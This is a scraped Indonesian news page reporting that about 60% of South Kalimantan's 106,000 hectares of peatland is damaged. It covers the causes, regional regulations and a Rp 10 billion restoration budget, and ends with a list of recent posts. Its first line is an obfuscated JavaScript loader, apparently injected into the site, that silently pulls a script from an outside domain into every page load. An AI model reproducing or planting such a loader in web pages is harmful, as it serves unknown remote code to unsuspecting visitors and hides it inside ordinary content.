(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINELingkungan

Memprihatinkan, 60% Lahan Gambut Kalsel Alami Kerusakan!


BANJARBARU, Kalimantan Selatan (Kalsel) menjadi tuan rumah Jambore Masyarakat Gambut (JMG) 2018, yang dilaksanakan tanggal 28-30 April mendatang di Wisata Kiram Park, Desa Kiram, Kecamatan Karang Intan, Kabupaten Banjar. Acara ini menjadi penting bagi pelestarian kawasan gambut, hingga kabarnya akan turut dihadiri Presiden Joko Widodo. Namun di sisi lain, Kalsel juga menghadapi persoalan serius pelestarian kawasan gambut. Mengingat saat ini 58.342 ha atau 60% dari 106 ribu ha luas areal lahan gambut di Kalsel mengalami kerusakan.

Dinas Lingkungan Hidup Provinsi Kalsel mencatat, luasan lahan gambut yang dianggap rusak berdasarkan prioritas restorasi, baik kerusakan pada kubah gambut berkanal maupun bekas kebakaran di Kalsel pada 2015 masing-masing seluas 45.567 ha dan 11.775,8 ha.

Kepala Seksi Perencanaan, Perlindungan, dan Pengelolaan Lingkungan Hidup Dinas Lingkungan Hidup Kalsel Arief Wardani mengungkapkan sudah ada Perda Kalsel No 2/2017 yang mengatur masalah pengelolaan lahan gambut di Kalsel.

Saat ini, kata Arief, telah ada beberapa kabupaten yang ditetapkan sebagai Kesatuan Hidrologis Gambut (KHG) seperti Kabupaten Banjar, Tapin, Hulu Sungai Selatan, Hulu Sungai Tengah, Hulu Sungai Utara, Balangan, dan Tabalong.

“Secara hidrologis lahan gambut berfungsi sebagai reservoir air dengan kapasitas yang sangat besar.  Gambut yang tidak terganggu dapat menyimpan air sebanyak 0,8-0,9 m3/3,” terangnya.

Dia mengatakan, beberapa kegiatan yang menjadi pemicu penyusutan wilayah dan kerusakan ekosistem gambut di antaranya alih fungsi lahan gambut menjadi lahan budidaya yang dilaksanakan secara intensif seperti sawah dan areal pertanian lainnya. Lalu pembukaan lahan gambut untuk dijadikan areal perkebunan, paling umum adalah perkebunan kelapa sawit, system drainase yang mengakibatkan pemadatan dan mempercepat terjadinya oksidasi atau dekomposisi bahan organic. (Selengkapnya lihat grafis, red).

TANTANGAN RESTORASI GAMBUT DI KALSEL

Pemerintah telah mengeluarkan Perda Kalsel No 2/2017 yang mengatur masalah pengelolaan lahan gambut di Kalsel. Namun kerusakan lahan gambut di tempat ini masih cukup memprihatinkan.

Luas Lahan Gambut : 106.000 hektare
Kerusakan : 58.342 hektare
Pemicu :
    1. Alih fungsi lahan gambut menjadi lahan budidaya yang dilaksanakan secara intensif seperti sawah dan areal pertanian lainnya.
    2. Pembukaan lahan gambut untuk dijadikan areal perkebunan, paling umum adalah perkebunan kelapa sawit.

Fungsi Lahan Gambut :
    1. Hutan rawa gambut merupakan ekosistem spesifik yang di dalamnya terdapat berbagai vegetasi tertentu yang tumbuh di atas lapisan bahan gambut.  Lahan gambut merupakan ekosistem lahan basah yang dicirikan oleh tingginya akumulasi bahan organic dengan laju dekomposisi yang rendah.  Tingginya bahan organic pada ekosistem gambut menjadikannya sebagai cadangan karbon teresterial penting. Bila lahan gambut mengalami gangguan maka berpotensi menjadi sumber karbondioksida (Com4) dan nitrous oksida (N2O).
    2. Tinggi muka air di lahan gambut sangat penting dalam mengendalikan oksidasi pirit agar berkurang keasaman tanah dan keracunan tanaman.
    3. Ekosistem gambut merupakan tempat hidup dan berkembangbiaknya berbagai fauna yang khas sehingga keberadaannya sangat penting dalam pengendalian kualitas lingkungan hidup.

“Mengingat fungsi dan manfaat penting dari ekosistem gambut serta laju kerusakan ekosistem gambut diperlukan upaya perlindungan dan pengelolaan ekosistem gambut,” katanya.

Menurut Arief, manfaat rencana perlindungan dan pengelolaan ekosistem gambut Kalsel adalah sebagai panduan bagi pemprov kalsel dalam penyusunan dan pelaksanaan pembangunan.

Berdasarkan Keputusan MenLHK RI No SK 129/MENLHK/SETJEN/PKL.0/2/2017 tentang penetapan Peta Kesatuan Hidrologi Gambut Nasional dan No Sk.130/MENLHK/SETJEN/PKL.0/2/2017 tentang Penetapan Peta Fungsi EKosistem Gambut Nasional, telah ditetapkan di Pulau Kalimantan, fungsi lindung seluas 4.094.203 hektare dan fungsi budidaya seluas 4.310.614 hektare yang berada di kawasan gambut.

Pemerintah menyatakan, perlindungan dan pengelolaan ekosistem gambut sebagai upaya sistematis dan terpadu untuk melestarikan dan mencegah kerusakan ekosistem gambut, dari tahapan perencanaan hingga penegakan hukum.

Hutan rawa gambut merupakan ekosistem spesifik yang di dalamnya terdapat berbagai vegetasi tertentu yang tumbuh di atas lapisan bahan gambut.  Lahan gambut merupakan ekosistem lahan basah yang dicirikan oleh tingginya akumulasi bahan organic dengan laju dekomposisi yang rendah.  Tingginya bahan organic pada ekosistem gambut menjadikannya sebagai cadangan karbon teresterial penting.  Bila lahan gambut mengalami gangguan maka berpotensi menjadi sumber karbondioksida (Co2), metana (CH4) dan nitrous oksida (N2O).

Tinggi muka air di lahan gambut sangat penting dalam mengendalikan oksidasi pirit agar berkurang keasaman tanah dan keracunan tanaman.  Ekosistem gambut merupakan tempat hidup dan berkembangbiaknya berbagai fauna yang khas sehingga keberadaannya sangat penting dalam pengendalian kualitas lingkungan hidup.

Anggaran Rp 10 Miliar

Badan Restorasi Gambut (BRG) sebelumnya mengucurkan Rp 10 miliar dari Rp 24 miliar yang diusulkan untuk program restorasi gambut di Kalsel. Penurunan nominal dana program seiring dengan penghematan dari pemerintah pusat.

Walau demikian, BRG optimistis program restorasi tetap berjalan di Kalimantan Selatan meski jumlah dananya lebih sedikit daripada yang diusulkan. Di Kalimantan Selatan, BRG akan merestorasi kerusakan lahan gambut seluas 105.023 hektare yang tersebar di empat Kesatuan Hidrologis Gambut (KHG). Lahan rusak seluas itu terdiri atas KHG Sungai Barito-Sungai Alalak 20.301 hektare, KHG Sungai Utar-Sungai Serapat 27.176 hektare, KHG Sungai Balangan-Sungai Batangalai 11.008 hektare, dan KHG Sungai Barito-Sungai Tapin 45.998 hektare.

Keempat KHG ini berada di Kabupaten Balangan, Banjar, Barito Kuala, Hulu Sungai Tengah, Hulu Sungai Selatan, Hulu Sungai Utara, Tabalong, dan Tapin. Selain itu, BRG berfokus merestorasi kerusakan gambut akibat kebakaran hutan dan lahan seluas 12.798 hektare, juga restorasi kubah gambut yang teanjur dibuat kawasan budi daya seluas 45.836 hektare.

Selanjutnya, BRG melindungi kawasan gambut yang belum dibuka dan masih utuh seluas 33.398 hektare. Di Kalimantan Selatan, Nazir berasumsi 55 persen lahan gambut dalam kondisi rusak terbuka dan 45 persen gambut berkondisi baik.

 BRG berfokus menggarap penyekatan kanal, pembuatan sumur bor, dan pembuatan tali air. BRG dan Tim Restorasi Gambut Daerah Kalimantan Selatan sudah membuat 50 sumur bor pada 2016. Lewat cara ini, diharapkan kondisi gambut basah bisa membantu pertanian ketika kemarau.(devi)

Reporter : Devi
Editor : Chell

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

9 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

11 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

11 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

13 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.